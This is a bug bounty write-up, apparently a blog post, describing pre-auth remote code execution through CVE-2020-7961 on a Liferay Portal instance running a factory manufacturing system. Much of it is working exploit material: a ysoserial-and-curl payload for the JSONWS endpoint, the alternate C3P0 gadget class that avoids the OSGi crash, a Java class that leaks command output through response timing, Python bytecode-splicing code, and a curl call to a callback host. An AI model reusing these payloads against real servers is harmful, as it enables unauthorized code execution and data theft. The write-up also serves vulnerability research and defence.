By Phil W (yppip — HackerOne) & Armand J (zer0_sec — HackerOne, bugcrowd)
Press enter or click to view image in full size
During a bug bounty collaboration, we found a Liferay Portal instance hiding in plain sight on a manufacturing subdomain. A quick fingerprint gave us everything we needed:
Liferay-Portal: Liferay Community Edition Portal 7.1.2 CE GA3 (Build 7102)
Server: Apache Tomcat/9.0.10Version 7.1.2, released January 2019. That’s well within the blast radius of CVE-2020–7961, a pre-auth deserialization vulnerability in Liferay’s JSONWS API that was patched in 7.2.1. The JSONWS service catalog was wide open too:
GET /api/jsonws?discover=/ → 200 OK, 459KB, 938 servicesShould be a straightforward pop. Every scanner agrees. Every scanner is wrong!
Liferay’s /api/jsonws/invoke endpoint accepts JSON that describes which Java service method to call and what arguments to pass. It uses the Jodd JSON library to deserialize these arguments, and Jodd supports a +type hint that lets the attacker specify any Java class.
The classic exploitation chain:
expandocolumn/add-column service (or any service with an Object-typed parameter)+defaultData: "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" in the JSONuserOverridesAsString to HexAsciiSerializedMap:<hex-encoded serialized object>;parseUserOverridesAsString() calls ObjectInputStream.readObject() on the hex blobTemplatesImpl bytecode executionThere are public PoCs, Metasploit modules, and nuclei templates for this. It’s a solved problem.
Except when it isn’t.
We generated a standard CB1 payload with ysoserial and fired it off:
java $YSOFLAGS -jar ysoserial.jar CommonsBeanutils1 "sleep 5" > payload.bin
HEX=$(xxd -p payload.bin | tr -d '\n')curl -sk http://TARGET/api/jsonws/invoke \
-X POST -H "Content-Type: application/json" \
-d "[{\"/expandocolumn/add-column\":{
\"tableId\":1,\"name\":\"A\",\"type\":15,
\"+defaultData\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",
\"defaultData\":{
\"userOverridesAsString\":\"HexAsciiSerializedMap:${HEX};\"
}
}}]" \
-w "\nTime: %{time_total}s HTTP: %{http_code}\n"Time: 0.61s HTTP: 000HTTP status 000. That’s curl’s way of saying the server dropped the TCP connection without sending any response. The Tomcat thread died. Not a 500, not a 403. The entire thread crashed.
This is what every vulnerability scanner sees. They send the standard payload, get a connection reset, and mark it as “not vulnerable” or “WAF blocked.” They’re wrong — the payload is being deserialized, it’s just killing the server in the process.
The crash pointed to a known issue with C3P0 under OSGi classloaders. WrapperConnectionPoolDataSource extends WrapperConnectionPoolDataSourceBase, whose constructor chain includes:
public WrapperConnectionPoolDataSourceBase() {
// ...
this.pcs = new PropertyChangeSupport(this); // fine
this.vcs = new VetoableChangeSupport(this); // fine
// But the parent class, WrapperConnectionPoolDataSourceBase,
// inherits from PoolBackedDataSourceBase which does:
registerMBean(); // THIS IS THE PROBLEM
}The MBean registration path tries to resolve javax.management.* platform classes. On a standard JVM, these are always available. But Liferay 7.x runs on Apache Felix OSGi, a module system where each bundle (including C3P0) has its own isolated classloader.
The Felix classloader for the C3P0 bundle cannot see javax.management.MBeanServer or javax.management.ObjectName. The JMX classes are in the platform module, but Felix’s security boundaries don’t grant C3P0 access to them.
Result: ClassNotFoundException → uncaught → thread death → TCP reset → HTTP 000.
This isn’t a partial remediation. This isn’t a WAF. It’s just OSGi being OSGi, and it accidentally makes every public PoC fail on Liferay 7.x deployments.
If WrapperConnectionPoolDataSource dies at MBean registration, we need a C3P0 class that:
userOverridesAsString setter (to trigger deserialization)We enumerated every C3P0 class on the classpath by cycling through the package namespace and checking which ones returned HTTP 403 (Liferay’s “invalid parameter” response, meaning the class instantiated successfully) vs HTTP 000 (thread crash):
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource → 000 (crash)
com.mchange.v2.c3p0.PoolBackedDataSource → 000 (crash)
com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource → 000 (crash)
com.mchange.v2.c3p0.ComboPooledDataSource → 403 (ALIVE!)ComboPooledDataSource inherits from AbstractComboPooledDataSource, which inherits from AbstractPoolBackedDataSource, which inherits from PoolBackedDataSourceBase, the same base class. But ComboPooledDataSource's constructor path avoids the JMX registration that kills the others.
More importantly, it still inherits the setUserOverridesAsString() method from the same PoolBackedDataSourceBase hierarchy. The deserialization trigger is identical. The only difference is the constructor doesn’t crash.
With the right class identified, we regenerated the payload:
{"+defaultData": "com.mchange.v2.c3p0.ComboPooledDataSource",
"defaultData": {"userOverridesAsString": "HexAsciiSerializedMap:ACED0005..."}}Time: 0.75s HTTP: 4030.75s. That’s basically baseline. No deserialization happened. The hex blob was being ignored.
C3P0’s C3P0ImplUtils.parseUserOverridesAsString() expects the format:
HexAsciiSerializedMap:<hex>;The trailing semicolon is mandatory. Without it, the parser silently returns null and never calls readObject(). No error, no log entry, it just does nothing. An easy detail to miss if you’re building payloads by hand.
{"userOverridesAsString": "HexAsciiSerializedMap:ACED0005...;"}Time: 10.53s HTTP: 40310.53 seconds. We have code execution.
With RCE confirmed via Thread.sleep(10000), the natural next step is out-of-band verification:
java $YSOFLAGS -jar ysoserial.jar CommonsBeanutils1 \
"curl http://MY_CALLBACK_SERVER/rce" > oob.binTime: 0.49s HTTP: 403Zero callbacks. We tried ping, nslookup, wget, curl, python -c, and bash -c. Nothing. The host has a strict egress firewall, all outbound TCP, UDP, and ICMP are blocked.
Join Medium for free to get updates from this writer.
But wait, why was the response only 0.49s? If Runtime.exec("sleep 5") was working, it should take 5 seconds. We tested it explicitly:
Runtime.exec("sleep 5") → 0.49s (non-blocking!)
Runtime.exec("sleep 30") → 0.51s (same)Runtime.exec() in Java is non-blocking, it spawns the process and returns immediately without waiting for it to finish. Think of it like opening a new terminal tab and typing a command; your current tab doesn’t freeze while the other one runs. The sleep command executes as a child process, but the Java thread that called exec() has already moved on and returned the HTTP response.
// Non-blocking: Java starts the process and moves on immediately
Runtime.getRuntime().exec("sleep 30"); // returns in ~0ms
// The HTTP response is sent while "sleep 30" is still running in the background// Blocking: Java's own thread is paused - nothing can continue until this finishes
Thread.sleep(30000); // returns after 30,000ms
// The HTTP response is delayed by exactly 30 secondsThis is why Thread.sleep() works for timing proof (it pauses the thread handling our HTTP request) but Runtime.exec("sleep N") doesn’t. For timing-based confirmation, you must use in-process delays.
Stock ysoserial Runtime.exec("cmd") payloads are still fine for commands with side effects (writing files, making network connections), they just can’t be used as a timing oracle.
No egress. No OOB. The only observable channel is HTTP response timing. But we have arbitrary bytecode execution, so we can make the server encode data as time.
The server can run commands (via Runtime.exec()), and we can control how long it sleeps (via Thread.sleep()). If we combine those, run a command, read one character from its output, and sleep proportionally to that character’s ASCII value, we can decode the response time back into a character.
One character per HTTP request. Slow, but it works through any firewall because the data never actually leaves the server. It’s encoded in the response delay. Perfect for a PoC for the target.
Each payload is a compiled Java class with a hardcoded POSITION constant. The class runs in a static initializer (executed when the JVM loads the bytecode):
static {
try {
// Run the command
Process p = Runtime.getRuntime().exec("whoami");
InputStream is = p.getInputStream(); // stdout of the process // InputStream.read() returns one byte per call.
// Read and discard characters until we reach the position we want.
int ch = -1;
for (int i = 0; i <= POSITION; i++) {
ch = is.read();
}
if (ch == -1) {
// We've hit EOF - no more characters. Short sleep signals "end of output".
Thread.sleep(200);
} else {
// Encode the character as a delay.
// 'a' (97) → (97-96)*1000 = 1000ms, 'z' (122) → 26000ms
int delay = (ch - 96) * 1000;
if (delay > 0) Thread.sleep((long) delay);
}
} catch (Exception e) {}
}
For position 0, the loop reads one character and sleeps on it. For position 1, it reads two characters, throws away the first, sleeps on the second. And so on.
For each character position, the extraction script:
.class into the base CB1 payload (replacing the old class)The ysoserial CB1 chain is a serialized Java object with a .class file embedded inside it. You could regenerate the entire payload with ysoserial for each character, but that means invoking a full Java process with all ysoserial’s dependencies every iteration.
Instead, we generated the base payload once with ysoserial, saved it as cb1_sleep_payload.bin, and from that point on we just did binary surgery in Python: find the .class inside the blob, cut it out, paste in the new one. This made the extraction script self-contained: just Python + the base payload binary. No ysoserial, no Java toolchain needed to run the PoC. This will make it easier down the line for mass-scanning!
Every Java .class file starts with the magic bytes CAFEBABE. Inside the serialized payload, the class bytes are prefixed by a 4-byte length. To swap classes:
# Find the class file inside the serialized payload
marker = b'\xca\xfe\xba\xbe'
idx = payload.find(marker)# Read the original class length (4 bytes before the magic)
orig_len = struct.unpack('>I', payload[idx-4:idx])[0]
# Cut out the old class, paste in the new one with updated length
result = (payload[:idx-4]
+ struct.pack('>I', len(new_class))
+ new_class
+ payload[idx + orig_len:])
The deserialization chain doesn’t care what class is inside — it loads whatever bytes it finds and executes the static initializer.
Position by position, character by character:
whoami, position 0: 5.07s → subtract 0.48s baseline → ~5s → chr(96+5) = 'e'
whoami, position 1: 16.50s → ~16s → chr(96+16) = 'p'
whoami, position 2: 3.00s → ~3s → chr(96+3) = 'c'
whoami, position 3: 0.45s → baseline → EOF (end of output)whoami = epc
For commands with non-alphabetic characters (like id returning uid=83(epc)), we switched to a full ASCII encoding: (ch - 32) * 400ms, giving ~400ms resolution across the entire printable range. This allow extraction of hostname and id for further proof. Running these on repeat was fairly consistent, the occasional letter would increase by one every now and again with network jitter. This could be improved with longer timings, but it was fine for now.
The last piece: prove write access. Runtime.exec() does work for commands with side effects — it just can’t be used for timing. So:
Step 1: Send a payload that runs touch /tmp/h1_yppip
Time: 0.59s HTTP: 403 (exec is non-blocking, instant return)Step 2: Verify by extracting ls /tmp/h1_yppip through the timing channel:
Position 0-14: /tmp/h1_yppip (character by character)
Position 15: EOFThe file exists. We have confirmed:
This Liferay instance was likely scanned by every automated tool that checks for CVE-2020–7961. They all failed for the same reason: every public PoC uses WrapperConnectionPoolDataSource, which crashes on Liferay 7.x’s OSGi classloader.
The kill chain:
WrapperConnectionPoolDataSource constructorClassNotFoundException → thread crashes → TCP resetNobody ever tried ComboPooledDataSource. It’s in the same C3P0 library, inherits the same userOverridesAsString deserialization path, but takes a different constructor route that avoids JMX. The vulnerability was there the whole time, hidden behind a classloader quirk that accidentally broke every known exploit.
A few lessons from this hack sesh:
1. HTTP 000 ≠ “not vulnerable.” A connection reset means the server tried to process your input and died. That’s arguably more interesting than a clean error response. If the thread is crashing, you’re close, you just need to figure out what’s killing it and find a path around it.
2. Runtime.exec() is fire-and-forget. Java’s Runtime.exec() spawns a process and returns immediately. It doesn’t wait for completion. If your only observable channel is response timing, exec-based payloads are useless for confirmation. Use in-process operations like Thread.sleep(), or read from the process’s input stream (which does block until data arrives).
3. The semicolon matters. C3P0’s parseUserOverridesAsString() silently ignores malformed input. No error, no exception, no log entry. If your hex blob isn’t followed by ;, nothing happens.
4. Egress firewalls aren’t the end. When you can’t make outbound connections, you still have the request-response channel. Any operation that affects response timing becomes a data exfiltration vector. It’s slow (one character per request), but it works.
Pre-authentication remote code execution on a production manufacturing system. No credentials required. Single HTTP POST request per action. The application was a factory floor MES (Manufacturing Execution System) managing production scheduling, supply chain logistics, and IoT device connectivity for an industrial environment.
The host was taken offline VERY shortly after the file write. All of the previous attempts and sleep confirmations were seemingly unnoticed, but the file write was the final straw. This was later confirmed by the SOC.
This all happened within a working day and has been reported to the vendors bug bounty program. All testing was authorized and conducted within program scope.